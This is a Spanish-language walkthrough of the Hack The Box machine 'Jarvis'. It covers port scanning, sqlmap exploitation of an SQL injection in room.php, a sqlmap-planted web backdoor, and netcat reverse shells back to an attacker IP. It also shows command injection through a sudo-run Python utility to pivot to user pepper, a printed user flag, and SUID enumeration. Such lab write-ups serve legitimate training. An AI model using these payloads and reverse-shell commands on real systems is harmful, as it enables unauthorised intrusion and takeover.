



HACK THE BOX · LINUX

Jarvis

Writeup técnico completo ·
explotación reproducible

Máquina Jarvis resuelta

HTB Jarvis · 20 de abril de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración, SQLi, foothold web, salto a pepper y root con trazabilidad clara y reutilizable
Fecha de resolución	20 de abril de 2026



Informe técnico normalizado para archivo, consulta y trazabilidad.

GUÍA DE LECTURA

Índice

Documento maestro consolidado a partir del historial técnico de enumeración, explotación y escalada de privilegios. Se conserva el contenido operativo y se presenta con una estructura limpia para lectura, archivo y consulta.

Ejecutamos nuestra herramienta Inici-HTB que hace lo siguiente:

Datos obtenidos:

Conclusiones de la exploración inicial

Preparación de resolución local

Observación inicial de la aplicación web

Datos obtenidos:

Parámetro identificado en la funcionalidad de reserva

Enumeración local como `pepper`

El resultado muestra varios binarios con bit SUID. El hallazgo más relevante es `/bin/systemctl`, que aparece con propietario `root` y grupo `pepper`. Esta configuración convierte a `systemctl` en el candidato principal para la escalada final de privilegios.

Escalada final a root

Inicio de la explotación de la máquina Jarvis de Hack The Box

Ejecutamos nuestra herramienta Inici-HTB que hace lo siguiente:

1. Fija el objetivo en Polybar con settarget.
2. Conecta la VPN de HTB usando OpenVPN.
3. Crea o prepara el entorno de trabajo de la máquina.
4. Crea la estructura de carpetas mínima.
5. Lanza comprobación inicial de conectividad con ping.
6. Intenta identificar rápidamente el sistema con whichSystem.py.
7. Ejecuta un escaneo completo de puertos TCP con nmap.
8. Extrae automáticamente los puertos abiertos.
9. Lanza un escaneo de servicios sobre esos puertos.
10. Genera un resumen inicial en Markdown y un siguiente paso sugerido.

Datos obtenidos:

```
> Inici-HTB JARVIS 10.129.229.137
[*] Fijando objetivo en Polybar con settarget
[*] Preparando directorio base
[*] Comprobando conectividad inicial
PING 10.129.229.137 (10.129.229.137) 56(84) bytes of data.
64 bytes from 10.129.229.137: icmp seq=1 ttl=63 time=47.7 ms
```

```
--- 10.129.229.137 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.692/47.692/47.692/0.000 ms
[*] Intentando identificación rápida con whichSystem.py
```

10.129.229.137 (ttl -> 63): Linux

```
[*] Lanzando escaneo completo de puertos
[sudo] contraseña para r4mon:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-19 18:15 CEST
Initiating SYN Stealth Scan at 18:15
Scanning 10.129.229.137 [65535 ports]
Discovered open port 80/tcp on 10.129.229.137
Discovered open port 22/tcp on 10.129.229.137
Discovered open port 64999/tcp on 10.129.229.137
Completed SYN Stealth Scan at 18:16, 12.31s elapsed (65535 total ports)
Nmap scan report for 10.129.229.137
Host is up, received user-set (0.047s latency).
Scanned at 2026-04-19 18:15:49 CEST for 12s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
```

```
22/tcp    open  ssh      syn-ack ttl 63
80/tcp    open  http     syn-ack ttl 63
64999/tcp open  unknown syn-ack ttl 63
```

```
Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.45 seconds
Raw packets sent: 66128 (2.910MB) | Rcvd: 65567 (2.623MB)
[*] Extrayendo puertos abiertos
[*] Puertos abiertos detectados: 22,80,64999
[*] Lanzando escaneo de servicios
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-19 18:16 CEST
Nmap scan report for 10.129.229.137
Host is up (0.048s latency).
```

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_ http-server-header: Apache/2.4.25 (Debian) |_ http-title: Stark Hotel 64999/tcp open http Apache httpd 2.4.25 ((Debian)) |_ http-title: Site doesn't have a title (text/html). |_ http-server-header: Apache/2.4.25 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds
[*] Resumen inicial generado en: /home/r4mon/pentest/targets/HTB/easy/JARVIS/notes/
00 resumen_inicial.md
[*] Siguiente paso generado en: /home/r4mon/pentest/targets/HTB/easy/JARVIS/notes/
01 siguiente_paso.txt
[*] Flujo inicial completado
```

Conclusiones de la exploración inicial

La máquina `10.129.229.137` responde correctamente a ICMP, por lo que desde el inicio queda validado que el objetivo está activo y accesible desde el entorno de trabajo. La comprobación rápida del sistema, apoyada en el `ttl=63` y en la identificación preliminar realizada por la herramienta, apunta a que estamos ante un sistema Linux.

El escaneo completo de puertos TCP ha detectado únicamente tres puertos abiertos: `22/tcp`, `80/tcp` y `64999/tcp`. Este dato ya permite sacar una primera conclusión importante: no estamos ante una máquina con una superficie excesivamente amplia, sino ante un objetivo relativamente contenido, lo que obliga a prestar más atención a la calidad de cada hallazgo que a la cantidad de servicios expuestos.

En el puerto `22/tcp` se identifica `OpenSSH 7.4p1 Debian 10+deb9u6`. De momento esto confirma la existencia de una posible vía de acceso remoto estable para fases posteriores, pero no constituye todavía una línea principal de trabajo, ya que no se dispone por ahora de credenciales, claves ni ninguna otra evidencia que permita convertir SSH en una vía inmediata de entrada.

En el puerto `80/tcp` se identifica `Apache httpd 2.4.25 (Debian)`. Además, el título de la página es `Stark Hotel`, lo que sugiere que no se trata de una simple página por defecto del servidor, sino de una aplicación o sitio preparado específicamente para el laboratorio. También aparece una cookie `PHPSESSID`, y el escaneo refleja que no tiene marcado el flag `HttpOnly`. Esto no supone por sí solo una vía de explotación, pero sí indica que existe gestión de sesión y probablemente una aplicación con lógica PHP detrás.

El puerto `64999/tcp` también responde como servicio HTTP y expone igualmente `Apache httpd 2.4.25 (Debian)`, aunque en este caso no presenta un título claro. Este punto resulta especialmente interesante, ya que no se trata de un puerto web habitual y, sin embargo, ofrece una segunda superficie HTTP en el mismo host. Por ahora no hay base para decir qué función cumple, pero sí para considerarlo un hallazgo relevante que debe compararse con la web principal.

A nivel de lectura general, la superficie dominante en esta fase es claramente la web. No solo existe un sitio en `80/tcp`, sino una segunda superficie HTTP en `64999/tcp`, y eso hace que el análisis inicial deba orientarse primero a entender cómo se relacionan ambos servicios, qué papel tiene cada uno y cuál de los dos puede aportar una vía más útil.

Como conclusión operativa de esta primera fase, la línea principal de trabajo debe centrarse en la enumeración web. SSH queda anotado como vía secundaria pendiente de que aparezcan credenciales o reutilización de acceso más adelante. El hallazgo más importante no es únicamente la presencia de Apache en el puerto 80, sino la combinación de una web pública identificable (`Stark Hotel`) con una segunda superficie HTTP en un puerto alto (`64999`) que, por su naturaleza, puede esconder funcionalidad adicional, administrativa, de desarrollo o auxiliar.

En resumen, la exploración inicial deja una base bastante clara: el objetivo está activo, todo encaja con un entorno Linux, la superficie expuesta es reducida y la rama con más sentido en este momento es la web. La siguiente fase deberá centrarse en caracterizar con detalle ambas superficies HTTP antes de intentar cualquier cambio de rama o extraer conclusiones más agresivas.

Preparación de resolución local

Se añade la IP al archivo de hosts para facilitar el acceso por nombre:

```
> echo '10.129.229.137 jarvis.htb' | sudo tee -a /etc/hosts
10.129.229.137 jarvis.htb
```

Observación inicial de la aplicación web

Se accede a `http://jarvis.htb`, que presenta un sitio corporativo del hotel Stark Hotel.

Datos obtenidos:

- la web carga correctamente por `jarvis.htb`
- el sitio se presenta como STARK HOTEL

- en la barra superior aparece la referencia a supersecurehotel.htb
- hay opción de Sign in
- hay una sección llamada Utilities
- el sitio parece una web corporativa o comercial, no una página por defecto

La referencia a `supersecurehotel.htb` se anota como dato relevante para fases posteriores. Aunque en este punto no responde, conviene conservarla como posible pista de infraestructura o vhost relacionado.

Parámetro identificado en la funcionalidad de reserva

```
http://jarvis.htb/room.php?cod=1
```

Esto es un dato importante, porque indica que la aplicación tiene una funcionalidad de reserva de habitaciones que se basa en un parámetro `cod` que probablemente se corresponda con el código de la habitación. Esto sugiere que la aplicación tiene una lógica de backend que procesa ese parámetro, lo que abre la puerta a posibles ataques de inyección o manipulación de parámetros. Además, el hecho de que el parámetro se llame `cod` y no algo más genérico como `id` o `room` puede ser un indicio de que la aplicación tiene una lógica específica para manejar ese código, lo que podría facilitar la identificación de vulnerabilidades.

Se evalúa el comportamiento del parámetro `cod` para comprobar si la aplicación responde de forma diferente ante distintos valores y si existe una vía de inyección o manipulación en backend.

Se inicia la validación del parámetro `cod` con `sqlmap`.

```
> sqlmap-dev -u 'http://jarvis.htb/room.php?cod=2'
[+] H
[+] [''] {1.10.4.4#dev}
[+] - . [""] . ' .
[+] [.] | | | , |
[+] | | V... | | https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

```
[*] starting @ 19:39:30 /2026-04-19/
```

```
[19:39:30] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own
(PHPSESSID=qbp72816s5n...g2926nb8p0'). Do you want to use those [Y/n] y
```



```
[19:39:32] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:39:32] [INFO] testing if the target URL content is stable
[19:39:32] [INFO] target URL content is stable
[19:39:32] [INFO] testing if GET parameter 'cod' is dynamic
[19:39:32] [WARNING] GET parameter 'cod' does not appear to be dynamic
[19:39:33] [WARNING] heuristic (basic) test shows that GET parameter 'cod' might not be injectable
[19:39:33] [INFO] testing for SQL injection on GET parameter 'cod'
[19:39:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:39:33] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Suite room is perfect")
[19:39:34] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[19:39:38] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:39:38] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:39:38] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID SUBSET)'
[19:39:38] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID SUBSET)'
[19:39:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[19:39:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[19:39:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[19:39:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[19:39:39] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON KEYS)'
[19:39:39] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON KEYS)'
[19:39:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:39:39] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:39:39] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATXML)'
[19:39:39] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATXML)'
[19:39:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:39:39] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[19:39:39] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[19:39:39] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[19:39:39] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[19:39:39] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[19:39:39] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID SUBSET)'
[19:39:39] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON KEYS)'
[19:39:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:39:40] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATXML)'
[19:39:40] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[19:39:40] [INFO] testing 'Generic inline queries'
[19:39:40] [INFO] testing 'MySQL inline queries'
[19:39:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[19:39:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[19:39:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[19:39:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[19:39:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[19:39:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[19:39:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:39:50] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
```

```
[19:39:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:39:50] [INFO] automatically extending ranges for UNION query injection technique tests as
there is at least one other (potential) technique found
[19:39:50] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed
to find the right number of query columns. Automatically extending the range for current UNION
query injection technique test
[19:39:50] [INFO] target URL appears to have 7 columns in query
[19:39:51] [WARNING] reflective value(s) found and filtering out
[19:39:51] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns'
injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 85 HTTP(s) requests:
---
Parameter: cod (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cod=2 AND 8011=8011
```

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cod=2 AND (SELECT 8037 FROM (SELECT(SLEEP(5)))fyGZ)

Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-4789
UNION ALL SELECT

CONCAT(0x717171a6b71,0x4646486b564e5558444c62567365706f496b62464453617664677a4449597
- --- [19:39:55] [INFO] the back-end DBMS is MySQL web server operating system: Linux
Debian 9 (stretch) web application technology: Apache 2.4.25, PHP back-end DBMS: MySQL
>= 5.0.12 (MariaDB fork) [19:39:55] [INFO] fetched data logged to text files under '/home/
r4mon/.local/share/sqlmap/output/jarvis.htb'

```
[*] ending @ 19:39:55 /2026-04-19/
```

Conclusiones de la fase de enumeración web La ejecución actual de sqlmap confirma que el parámetro cod en room.php es vulnerable a SQL injection. Se identifican tres técnicas válidas de explotación: boolean-based blind, time-based blind y UNION query. La variante UNION funciona con 7 columnas, lo que convierte esta vía en la más útil para la fase de enumeración. El backend queda identificado como MySQL/MariaDB, sobre un entorno Linux Debian 9 con Apache 2.4.25 y PHP.

El hallazgo de la vulnerabilidad SQLi en el parámetro cod es un punto de inflexión en la explotación de esta máquina, ya que abre la puerta a una amplia gama de técnicas para extraer información, escalar privilegios o incluso ejecutar código remoto. La presencia de una inyección UNION con 7 columnas es especialmente relevante, ya que permite obtener resultados estructurados y facilita la extracción de datos sensibles. Además, el hecho de que el backend sea MySQL/MariaDB proporciona un contexto claro para orientar las técnicas de explotación y enumeración posteriores. En resumen, esta fase confirma que la aplicación web tiene una vulnerabilidad crítica que debe ser explotada cuidadosamente para avanzar en la resolución del laboratorio.

Con la SQLi ya confirmada, la explotación no debe orientarse todavía a forzar una shell directa, sino a una fase de enumeración dirigida. El objetivo inmediato pasa por identificar la base de datos de la aplicación, localizar tablas con usuarios, credenciales o configuración útil y verificar el contexto y privilegios de la cuenta SQL. A partir de ahí, la vía de explotación

podrá definirse con más fundamento, ya sea por reutilización de credenciales o por capacidades directas del usuario de base de datos sobre el sistema.

Se observa una suspensión aproximada de 90 segundos asociada al volumen de peticiones. Para reducir el impacto del filtrado y continuar con la validación, se repite la prueba con un `delay` de 5 segundos entre peticiones.

```
> sqlmap -u http://jarvis.htb/room.php?cod=2
zsh: no matches found: http://jarvis.htb/room.php?cod=2
```

La shell `zsh` interpreta el carácter `?` como patrón de globbing. Para evitarlo, la URL debe citarse entre comillas.

```
> sqlmap -u "http://jarvis.htb/room.php?cod=1" --delay=5 --os-shell
H
[, ] {1.8.12#stable}
| - | . [(] | . ' | . |
| | | ['] | | | , | |
| | | | V... | | https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

```
[*] starting @ 19:52:11 /2026-04-19/
```

[19:52:11] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=2iasdem93g8...ece525h504'). Do you want to use those [Y/n] y [19:52:19] [INFO] checking if the target is protected by some kind of WAF/IPS [19:52:24] [INFO] testing if the target URL content is stable [19:52:29] [INFO] target URL content is stable [19:52:29] [INFO] testing if GET parameter 'cod' is dynamic [19:52:34] [INFO] GET parameter 'cod' appears to be dynamic [19:52:44] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable [19:52:50] [INFO] testing for SQL injection on GET parameter 'cod' [19:52:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:53:15] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")

```
[19:55:01] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for
other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level
(1) and risk (1) values? [Y/n] y
[19:55:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (BIGINT UNSIGNED)'
[19:55:13] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT
UNSIGNED)'
[19:55:18] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXP)'
[19:55:23] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[19:55:28] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (GTID_SUBSET)'
```

```

[19:55:33] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[19:55:38] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (JSON KEYS)'
[19:55:43] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON KEYS)'
[19:55:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)'
[19:55:53] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)'
[19:55:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)'
[19:56:03] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)'
[19:56:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (UPDATEXML)'
[19:56:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (UPDATEXML)'
[19:56:18] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)'
[19:56:23] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[19:56:28] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[19:56:38] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[19:56:44] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[19:56:49] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[19:56:54] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID SUBSET)'
[19:56:59] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON KEYS)'
[19:57:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:57:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[19:57:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[19:57:19] [INFO] testing 'Generic inline queries'
[19:57:24] [INFO] testing 'MySQL inline queries'
[19:57:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[19:57:34] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[19:57:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[19:57:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[19:57:49] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[19:57:54] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[19:57:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:58:25] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind
(query SLEEP)' injectable
[19:58:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:58:25] [INFO] automatically extending ranges for UNION query injection technique tests as
there is at least one other (potential) technique found
[19:58:34] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed
to find the right number of query columns. Automatically extending the range for current UNION
query injection technique test
[19:58:54] [INFO] target URL appears to have 7 columns in query
[20:00:11] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns'
injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 85 HTTP(s) requests:
---
Parameter: cod (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cod=1 AND 6874=6874

```

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cod=1 AND (SELECT 6016 FROM (SELECT(SLEEP(5))))Fdiy

```

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-5499 UNION ALL SELECT

```

```

NULL,CONCAT(0x7170716b71,0x565349434a5374677268504b6c66626941614947624779576b51714a546c58476b58485a70545846,
-
---
[20:00:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:00:25] [INFO] going to use a web backdoor for interactive command access
[20:00:25] [INFO] fingerprinting the back-end DBMS operating system
[20:00:30] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[20:04:12] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/
htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /
usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[20:04:50] [INFO] retrieved web server absolute paths: '/images/'
[20:04:50] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED
BY' method
[20:04:55] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the
request(s)
[20:05:15] [WARNING] unable to upload the file stager on '/var/www/'
[20:05:15] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[20:05:25] [WARNING] expect junk characters inside the file as a leftover from UNION query
[20:05:30] [WARNING] it looks like the file has not been written (usually occurs if the DBMS
process user has no write privileges in the destination path)
[20:05:45] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES
TERMINATED BY' method
[20:06:11] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://
jarvis.htb:80/tmpuyqpm.php
[20:06:21] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://
jarvis.htb:80/tmpbtbfv.php
[20:06:21] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

```

En este punto ya existe una vía de ejecución de comandos a través de la backdoor web generada por `sqlmap`, pero todavía no se trata de una shell interactiva completa. A continuación se estabiliza el acceso mediante un callback hacia la máquina atacante.

```
os-shell> nc -e /bin/sh 10.10.15.26 4444
```

```

> nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.229.137] 59414
whoami
www-data
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/html$

```

El callback devuelve una shell funcional como `www-data`, usuario asociado al servidor web. A partir de este punto se inicia la enumeración local en busca de un vector de escalada.

En `/var/www/Admin-Utilities/simpler.py` se localiza una utilidad Python que forma parte de la cadena de escalada posterior. El hallazgo es crítico porque permite materializar el salto desde `www-data` al contexto de `pepper` a través de una ejecución insegura asociada a dicha utilidad.

Se prepara un listener en el puerto 443 y, desde la shell obtenida, se ejecuta la cadena que permite materializar el salto al contexto de `pepper`:

```
www-data@jarvis:/var/www/html$ cd ..
cd ..
www-data@jarvis:/var/www$ cd ..
cd ..
www-data@jarvis:/var$ cd ..
cd ..
www-data@jarvis:/ $ cd /tmp
cd /tmp
www-data@jarvis:/tmp$ ls
ls
d.sh
www-data@jarvis:/tmp$ rm d.sh
rm d.sh
www-data@jarvis:/tmp$ ls
ls
www-data@jarvis:/tmp$ echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.15.26 443' > /tmp/d.sh
/tmp/d.sh#!/bin/bash\n\nnc -e /bin/bash 10.10.15.26 443' >
www-data@jarvis:/tmp$ chmod +x /tmp/d.sh
chmod +x /tmp/d.sh
www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
*****
( )
/ | ' \ | ' \ | / \ ' ' \ | |
\ \ | | | | ) | / | | ) | |
| / | | | | . / \ | ( ) . / \ , |
| | | | | | | | | | /
@ironhackers.es
```

```
Enter an IP: $(/tmp/d.sh)
$(/tmp/d.sh)
```

Y en el puerto en escucha 443 aparece esto:

```
listening on [any] 443 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.229.137] 58174
whoami
pepper
```

La cadena anterior materializa el salto al contexto de `pepper`. Desde este nuevo punto se reanuda la enumeración local para identificar el vector de escalada final a `root`.

```
python -c 'import pty;pty.spawn("/bin/bash")'
pepper@jarvis:/$ ls
ls
bin  home      lib32      mnt  run  tmp      vmlinuz.old
boot initrd.img lib64       opt  sbin usr
dev  initrd.img.old lost+found  proc srv  var
etc  lib        media      root  sys  vmlinuz
pepper@jarvis:/$ cat user.txt
cat user.txt
cat: user.txt: No such file or directory
pepper@jarvis:/$ tree
tree
bash: tree: command not found
pepper@jarvis:/$ export TERM=xterm
export TERM=xterm
pepper@jarvis:/$ tree
tree
bash: tree: command not found
pepper@jarvis:/$ cd home
cd home
pepper@jarvis:/home$ ls
ls
pepper
pepper@jarvis:/home$ cd pepper
cd pepper
pepper@jarvis:~$ ls
ls
Web  user.txt
pepper@jarvis:~$ cat user.txt
cat user.txt
be1d69589df9e47eb0dd1e4302de99b2
pepper@jarvis:~$
```

Enumeración local como `pepper`

Se inicia la enumeración local orientada a escalada de privilegios.

```
pepper@jarvis:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # Este comando
busca archivos con el bit SUID establecido que sean propiedad de root, lo que podría indicar
posibles vectores de escalada de privilegios si alguno de estos archivos es vulnerable o mal
configurado.
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 30800 Aug 21 2018 /bin/fusermount
-rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
-rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
-rwsr-x--- 1 root pepper 174520 Jun 29 2022 /bin/systemctl
-rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount
-rwsr-xr-x 1 root root 40536 Mar 17 2021 /bin/su
-rwsr-xr-x 1 root root 40312 Mar 17 2021 /usr/bin/newgrp
